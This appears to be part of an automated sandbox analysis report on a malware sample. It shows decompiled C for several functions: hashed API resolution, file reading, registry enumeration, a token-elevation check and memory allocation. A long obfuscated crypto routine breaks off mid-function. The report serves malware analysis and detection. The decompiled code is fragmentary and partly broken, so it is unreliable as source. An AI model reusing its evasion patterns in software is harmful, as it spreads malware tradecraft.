Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction ID: 8226dfa9786c1f07cc39bce5266456f996bf17dcf9f6fd6d85eb7131cab29b90
Opcode Fuzzy Hash: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction Fuzzy Hash: 7E01867C380306BAEB21161CCC52F2B7A6FDF92744F144A6CB94665385DF6F5D148121

Uniqueness

Uniqueness Score: -1.00%

Function 728B5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E728B5B6D(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E728B2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E728AC328(_t23);
				if(E728AC33C(_t23) != 0) {
					_t31[2] = E728B352C(0);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E728B2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E728B35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E728B2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x728b5b6d
0x728b5b71
0x728b5b75
0x728b5b7e
0x728b5b84
0x728b5b85
0x728b5b77
0x728b5b79
0x728b5b79
0x728b5b9b
0x728b5baf
0x728b5b9d
0x728b5baa
0x728b5bac
0x728b5bac
0x728b5bb1
0x728b5bb6
0x728b5bc4
0x728b5c2f
0x728b5c32
0x00000000
0x728b5bc6
0x728b5bcb
0x728b5c18
0x728b5c1c
0x728b5c26
0x728b5c26
0x728b5c1c
0x728b5bcd
0x728b5bd9
0x728b5bde
0x728b5beb
0x728b5bf2
0x728b5bfe
0x728b5bff
0x728b5c06
0x728b5bf4
0x728b5bf4
0x728b5bf5
0x728b5bf6
0x728b5bf8
0x728b5bfa
0x728b5bfb
0x728b5bfb
0x728b5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 728B5BAA

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction ID: 00b399e1c2fa6275f19679eea2e49664b2ca0be980933ec2242ab7f3a2eb2c81
Opcode Fuzzy Hash: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction Fuzzy Hash: BCF0817C380306BAEB2116198C92F2B7A6FEF92744F004A6CB94A65286DF6B99148161

Uniqueness

Uniqueness Score: -1.00%

Function 728B5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E728B5D7C(void* __ecx, intOrPtr _a4) {
				long _v16;
				long _t4;
				void* _t8;
				void** _t9;
				intOrPtr _t17;
				long* _t18;

				_push(_t16);
				_t8 = __ecx;
				_t17 = _a4;
				if(_t17 != 0) {
					asm("pxor xmm0, xmm0");
					asm("movq [esi], xmm0");
				}
				_t9 = _t8 + 0xc;
				if(E728AC33C(_t9) != 0) {
					L7:
					_t4 = 0;
					goto L10;
				} else {
					asm("stosd");
					asm("stosd");
					if(E728B2F8C(0x4bcc7cba, 0xceed09cc) == 0) {
						_t4 = 0;
					} else {
						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
					}
					if(_t4 != 0xffffffff) {
						if(_t17 != 0) {
							 *_t18 = _t4;
							asm("movq xmm0, [esp]");
							asm("movq [esi], xmm0");
						}
						L10:
						return _t4;
					} else {
						goto L7;
					}
				}
			}

0x728b5d80
0x728b5d81
0x728b5d83
0x728b5d89
0x728b5d8b
0x728b5d8f
0x728b5d8f
0x728b5d93
0x728b5d9f
0x728b5dd3
0x728b5dd3
0x00000000
0x728b5da1
0x728b5da6
0x728b5da7
0x728b5dbb
0x728b5dcc
0x728b5dbd
0x728b5dc8
0x728b5dc8
0x728b5dd1
0x728b5dd9
0x728b5ddb
0x728b5dde
0x728b5de3
0x728b5de3
0x728b5de7
0x728b5dec
0x00000000
0x00000000
0x00000000
0x728b5dd1

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001,CEED09CC,?,?,00000000,00000000,?,728B5CB4,?,?), ref: 728B5DC8

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction ID: 434a36f59869a9a9e9d31d9a831519070a6174e7512e48db6fabc0db6f7bdc9f
Opcode Fuzzy Hash: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction Fuzzy Hash: 55F07D35A0471169D7111A3CDC44B8B77F7DFD1310F244B3DF581A6384E76AAC448190

Uniqueness

Uniqueness Score: -1.00%

Function 728B10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E728B10CC(void* __ecx) {
				void* _v36;
				void* _v44;
				int _t15;
				intOrPtr* _t21;
				void* _t24;
				intOrPtr* _t25;

				_t24 = __ecx;
				 *_t25 = 0;
				_t21 = E728B2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t21 == 0) {
					L5:
					return 0;
				}
				_push(_t25);
				_push(8);
				_push(_t24);
				if( *_t21() == 0 || E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
					goto L5;
				} else {
					_t2 = _t25 + 8 - 4; // 0xd0443454
					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
				}
			}

0x728b10da
0x728b10dc
0x728b10ea
0x728b10ee
0x728b1137
0x00000000
0x728b1137
0x728b10f3
0x728b10f4
0x728b10f6
0x728b10fb
0x00000000
0x728b1114
0x728b1118
0x728b1125
0x728b1129
0x00000000
0x00000000
0x00000000
0x728b1132

APIs

GetTokenInformation.KERNELBASE(00000004,00000014,D0443454,00000004,D0443458,D0443458,D0443458), ref: 728B1125

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction ID: 108cdd62080ee876df70983e177d284aab43e335f4d59f17e20bbc3d26250ec5
Opcode Fuzzy Hash: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction Fuzzy Hash: 99F08C786442467BEB04952CAD09F7B22AF5FC1604F00D82CB545DA288EA7DC8058221

Uniqueness

Uniqueness Score: -1.00%

Function 728B55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E728B55B8(void* __ecx) {
				long _t9;
				char* _t11;
				void* _t16;
				int _t17;
				int _t18;
				int* _t19;

				_t18 = 0;
				_t17 = _t19[0x48];
				_t16 = __ecx;
				_t11 =  &(_t19[1]);
				 *_t17 = 0;
				 *((intOrPtr*)(_t17 + 4)) = 0;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				while(1) {
					 *_t19 = 0x105;
					if(E728B2F8C(0xd0443458, 0x286b2253) == 0) {
						goto L4;
					}
					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
					if(_t9 == 0) {
						goto L4;
					}
					return _t17;
					L4:
					E728AE6E8(_t17, _t11,  *_t17);
					_t18 = _t18 + 1;
				}
			}

0x728b55c2
0x728b55c4
0x728b55cb
0x728b55cd
0x728b55d1
0x728b55d3
0x728b55d6
0x728b55d9
0x728b55d9
0x728b55f3
0x00000000
0x00000000
0x728b5604
0x728b5608
0x00000000
0x00000000
0x728b5616
0x728b5619
0x728b561e
0x728b5623
0x728b5623

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,D0443458,286B2253,?,?,D0443458,286B2253), ref: 728B5604

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction ID: 1b8a889b2964eaa3b8cf412933c93188ecf234f2827da233b836ab3902a156b5
Opcode Fuzzy Hash: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction Fuzzy Hash: C5F0A4B92002096FE7255E1EDC44DB7BBEEDFC1B14F00891DB1D643240DA39AC1089A0

Uniqueness

Uniqueness Score: -1.00%

Function 728B5DF0, Relevance: 1.5, APIs: 1, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E728B5DF0(void* __ecx, void* __eflags, void* _a4, long _a8) {
				long _v12;
				void* __esi;
				long _t9;
				long _t10;
				int _t12;
				void* _t18;
				void** _t19;
				DWORD* _t20;

				_t18 = __ecx;
				_t19 = __ecx + 0xc;
				if(E728AC33C(_t19) == 0) {
					_v12 = _a8;
					if(E728B2F8C(0x4bcc7cba, 0x2876e068) == 0) {
						_t9 = 0x7f;
					} else {
						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
						if(_t12 == 0) {
							_t9 = E728B352C(_t18);
						} else {
							_t9 = 0;
						}
					}
					 *((intOrPtr*)(_t18 + 8)) = _t9;
					if(_t9 == 0) {
						_t10 = _v12;
					} else {
						_t10 = 0;
						_v12 = 0;
					}
				} else {
					_t10 = 0;
				}
				return _t10;
			}

0x728b5df3
0x728b5df5
0x728b5e01
0x728b5e0b
0x728b5e21
0x728b5e40
0x728b5e23
0x728b5e34
0x728b5e38
0x728b5e58
0x728b5e3a
0x728b5e3a
0x728b5e3a
0x728b5e38
0x728b5e41
0x728b5e46
0x728b5e4f
0x728b5e48
0x728b5e48
0x728b5e4a
0x728b5e4a
0x728b5e03
0x728b5e03
0x728b5e03
0x728b5e55

APIs

ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,4BCC7CBA,2876E068,?,?,?,728B5CE5,00000000,?,00000000,?), ref: 728B5E34

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction ID: 36ffc95501c383cd1274db993876423d69bf87f0053ae747373d09b279803a2f
Opcode Fuzzy Hash: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction Fuzzy Hash: 62F0817D208207AEDB519A2CDC81A6A77E6AF44340F10892DB89AD6344EB3BE814C621

Uniqueness

Uniqueness Score: -1.00%

Function 728B3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E728B3564(void* __ecx) {
				void* _t3;
				intOrPtr* _t8;
				void* _t12;

				_t12 = __ecx;
				if( *0x728bd228 == 0xcd845700) {
					_t8 = E728B2F8C(0xa5eabdf8, 0xd926c223);
					 *0x728bd22c = E728B2F8C(0xa5eabdf8, 0x9b42cb07);
					if( *0x728bd228 == 0xcd845700) {
						 *_t8(2, 0, 0, 0, 0, 0); // executed
						 *0x728bd228 = 0;
					}
				}
				_t3 = E728B2F8C(0xa5eabdf8, 0x80febacc);
				if(_t3 == 0) {
					return 0;
				} else {
					_push(_t12);
					_push(8);
					_push( *0x728bd228);
					asm("int3");
					return _t3;
				}
			}

0x728b356c
0x728b3574
0x728b35a7
0x728b35b8
0x728b35c3
0x728b35ce
0x728b35d0
0x728b35d0
0x728b35c3
0x728b3580
0x728b3587
0x728b3597
0x728b3589
0x728b3589
0x728b358a
0x728b358c
0x728b358e
0x728b358f
0x728b358f

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,A5EABDF8,9B42CB07,A5EABDF8,D926C223,?,?,00000000,728ADEB9,?,?), ref: 728B35CE

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 5be566de45a2ea3c87400938244e58205cf95a43dfc09c9c2eb1cb5d62def262
Instruction ID: 2e31ce801029b424f43792c8617fa2964db543b34950089fc53fbb0cd7388d3f
Opcode Fuzzy Hash: 5be566de45a2ea3c87400938244e58205cf95a43dfc09c9c2eb1cb5d62def262
Instruction Fuzzy Hash: 82F02E76608141FED2111B7EEC04E16BEDEEFC4716B90C82CB645AEB81D73E8440C621

Uniqueness

Uniqueness Score: -1.00%

Function 025E1D89, Relevance: 1.4, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 025E1EA8

Memory Dump Source

Source File: 00000003.00000002.912465140.00000000025E0000.00000040.00000001.sdmp, Offset: 025E0000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction ID: da59fa1a602e080cfaf74cb1999a651014a528e922ea3f29c75c4b268e45be2b
Opcode Fuzzy Hash: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction Fuzzy Hash: 1C41D3B5E0461A8FDB08DFA8C5906AEBBF1FF48714F15852EE449AB340D775A840CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 728A9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E728A9144(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v20;
				intOrPtr _v40;
				char _v60;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				char _v128;
				intOrPtr _v132;
				void* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v156;
				char _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				char _v196;
				void* _v200;
				signed int _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				intOrPtr _v228;
				intOrPtr _v236;
				void* _v268;
				char _v292;
				char _v308;
				char _v316;
				char _v320;
				void* _v324;
				char _v332;
				char _v340;
				void* _v356;
				void* _v360;
				char _v364;
				char _v380;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				void* _v412;
				char _v416;
				signed int* _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				signed int* _v444;
				char _v448;
				void* _v452;
				intOrPtr _v460;
				char _v464;
				void* _v468;
				char _v472;
				intOrPtr _v476;
				char _v480;
				void* _v484;
				char _v492;
				char _v496;
				void* _v500;
				char _v508;
				char _v516;
				signed int _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				void* _v548;
				char _v552;
				char _v556;
				char _v560;
				signed int _v564;
				signed int _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t437;
				intOrPtr _t442;
				signed int _t444;
				char* _t459;
				char _t534;
				signed int _t544;
				intOrPtr _t546;
				signed int _t550;
				signed int _t556;
				intOrPtr _t561;
				signed int _t567;
				char _t579;
				intOrPtr _t584;
				char _t585;
				intOrPtr _t589;
				char _t590;
				intOrPtr _t594;
				char _t595;
				intOrPtr _t599;
				char _t600;
				intOrPtr _t604;
				char _t605;
				intOrPtr _t609;
				signed int _t622;
				char _t629;
				intOrPtr _t633;
				signed char* _t635;
				signed int _t638;
				intOrPtr _t641;
				signed int* _t647;
				signed int* _t650;
				intOrPtr _t665;
				char* _t806;
				signed int* _t836;
				char* _t837;
				char* _t844;
				void* _t845;
				intOrPtr* _t854;
				signed int* _t856;
				intOrPtr* _t857;
				signed int* _t858;
				signed int* _t860;
				signed int* _t863;
				intOrPtr _t864;
				intOrPtr _t867;
				char _t868;
				signed int _t869;
				intOrPtr* _t872;
				intOrPtr* _t874;
				intOrPtr* _t875;
				intOrPtr* _t876;
				intOrPtr* _t877;
				intOrPtr* _t878;
				signed int* _t881;
				intOrPtr* _t882;
				char* _t907;
				void* _t935;
				char _t950;
				char _t951;
				intOrPtr* _t953;
				void* _t954;
				intOrPtr* _t955;
				void* _t957;

				_t957 = __eflags;
				_t953 =  &_v496;
				_t641 = __edx;
				_v40 = __ecx;
				_t951 =  *((intOrPtr*)(__ecx + 0xc));
				E728B2F8C(0x23627913, 0xae88daa3);
				_v496 = 0;
				E728AF620( &_v492, 0);
				_v480 = 0;
				_v476 = 0;
				E728AF620( &_v472, 0);
				_v528 = 0;
				E728AF620( &_v524, 0);
				_v392 = 0x4145240a;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x90], xmm0");
				E728AF8C4( &_v528, E728AF568( &_v528) + 0x10);
				E728AF558( &_v532, E728AF568( &_v532) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v540 = _v540 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v536 + 0x88)) = 0x22dc1034;
				asm("movq [ecx+0x90], xmm0");
				E728AF8C4( &_v536, E728AF568( &_v536) + 0x10);
				E728AF558( &_v540, E728AF568( &_v540) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v548 = _v548 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v544 + 0x88)) = 0xc06fd820;
				asm("movq [ecx+0x90], xmm0");
				E728AF8C4( &_v544, E728AF568( &_v544) + 0x10);
				E728AF558( &_v548, E728AF568( &_v548) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v556 = _v556 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v552 + 0x88)) = 0xa54975b2;
				asm("movq [ecx+0x90], xmm0");
				E728AF8C4( &_v552, E728AF568( &_v552) + 0x10);
				E728AF558( &_v556, E728AF568( &_v556) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v564 = _v564 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v560 + 0x88)) = 0x271e028;
				asm("movq [ecx+0x90], xmm0");
				E728AF8C4( &_v560, E728AF568( &_v560) + 0x10);
				E728AF558( &_v564, E728AF568( &_v564) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v572 = _v572 + 1;
				asm("pxor xmm0, xmm0");
				( &_v568)[0x22] = 0xf279aa39;
				asm("movq [ecx+0x90], xmm0");
				E728AF8C4( &_v568, E728AF568( &_v568) + 0x10);
				E728AF558( &_v572, E728AF568( &_v572) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t953 =  *_t953 + 1;
				E728B413C(0xa5eabdf8, _t953);
				E728AF558( &_v576, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x4c], xmm0");
				E728AF558( &_v580, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x54], xmm0");
				E728AF558( &_v584, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x64], xmm0");
				E728AF558( &_v588, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x6c], xmm0");
				E728AF558( &_v592, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x74], xmm0");
				E728AF558( &_v596, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x7c], xmm0");
				_v584 = _t951;
				E728AADB8( &_v584,  &_v172, _t957,  &_v192);
				_t889 = _v176;
				_t931 = _v172;
				if((_v176 | _v172) != 0) {
					E728AB338( &_v308, _t951, __eflags, _t889, _t931);
					E728AF8DC( &_v516, __eflags);
					_v520 = 0;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v516 + 0x88)) = 0x5889e652;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v516, E728AF568( &_v516) + 0x10);
					E728AF558( &_v520, E728AF568( &_v520) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v528 = _v528 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v524 + 0x88)) = 0x1eeb5e35;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v524, E728AF568( &_v524) + 0x10);
					E728AF558( &_v528, E728AF568( &_v528) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v536 = _v536 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v532 + 0x88)) = 0xac5d5303;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v532, E728AF568( &_v532) + 0x10);
					E728AF558( &_v536, E728AF568( &_v536) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v544 = _v544 + 1;
					_t954 = _t953 + 0xfffffff4;
					asm("movq xmm0, [esp+0x1bc]");
					asm("movq [esp], xmm0");
					_v548 =  &_v544;
					E728ABAB8( &_v340, __eflags);
					E728AF558( &_v552, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x5c], xmm0");
					E728AF558( &_v556, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x84], xmm0");
					_t935 = E728AF558( &_v560, 0x20);
					_v164 =  *((intOrPtr*)(_t935 + 8));
					_v144 =  *((intOrPtr*)(_t935 + 0xc));
					E728AF620( &_v396, 0);
					E728AF620( &_v416, 0);
					_push(0);
					_push( *0x728bb7c4);
					E728B20A4(__eflags,  &_v100);
					E728AF75C( &_v416, __eflags);
					E728AE054( &_v100);
					E728AF8C4( &_v436, E728AF744( &_v420,  &_v100));
					_t437 = E728AF558( &_v424, 0);
					E728A7970(_t951, _t437, E728AF558( &_v444, 0), _v112);
					_t442 = E728AF568( &_v448);
					_v228 = _t442;
					_t101 = _t442 + 2; // 0x2
					_v188 = E728AB0A4( &_v584, 0x20000000, __eflags, _t101);
					_v236 = 0x20000000;
					_t444 = E728AB0A4( &_v588, 0x80000000, __eflags, 0x82);
					_v184 = _t444;
					_v204 = 0x80000000;
					__eflags = _t444 | _v204;
					if((_t444 | _v204) == 0) {
						L51:
						E728AF6F0( &_v380);
						E728AF6F0( &_v364);
						E728AF6F0( &_v332);
						goto L1;
					}
					__eflags = _v116 | _v164;
					if((_v116 | _v164) == 0) {
						goto L51;
					}
					E728B35D4( &_v292, 0, 0x80);
					_t955 = _t954 + 0xc;
					 *((intOrPtr*)( &_v316 + 0x78)) = _v20;
					E728ACDC0( &_v316, 0);
					_t459 =  &_v320;
					_t854 = _t459 + 0xe8;
					 *_t854 = _t641;
					 *((intOrPtr*)(_t854 - 4)) = _v20;
					_push(_t459);
					E728AB48C(_t641, _t459 - 0x20, _t854 - 4, _v20, _t951, _t951, _t854 - 4);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esp+0x134], xmm1");
					_v236 = E728AF568(_v20);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esi+0x8], xmm1");
					_v220 = E728AF568(_t641);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [ebx-0x90], xmm1");
					E728B3C8C(_t951,  &_v60 - 0x80, __eflags, _v148, _v128, 7,  &_v60);
					_t133 =  &(( &_v564)[0x58]); // 0x160
					_t856 = _t133;
					 *_t856 = _v164;
					_t856[1] = ( &_v564)[0x69];
					E728AF8DC( &_v564, __eflags);
					_v568 = 0;
					_t746 =  &_v564;
					asm("pxor xmm0, xmm0");
					_t136 = _t746 + 0x88; // 0x88
					 *_t136 = 0x853cdd04;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v564, E728AF568( &_v564) + 0x10);
					E728AF558( &_v568, E728AF568( &_v568) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v576 = _v576 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v572 + 0x88)) = 0xb162dc4e;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v572, E728AF568( &_v572) + 0x10);
					E728AF558( &_v576, E728AF568( &_v576) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v584 = _v584 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v580 + 0x88)) = 0xc15ccc53;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v580, E728AF568( &_v580) + 0x10);
					E728AF558( &_v584, E728AF568( &_v584) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v592 = _v592 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v588 + 0x88)) = 0x73f8f999;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v588, E728AF568( &_v588) + 0x10);
					E728AF558( &_v592, E728AF568( &_v592) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v600 = _v600 + 1;
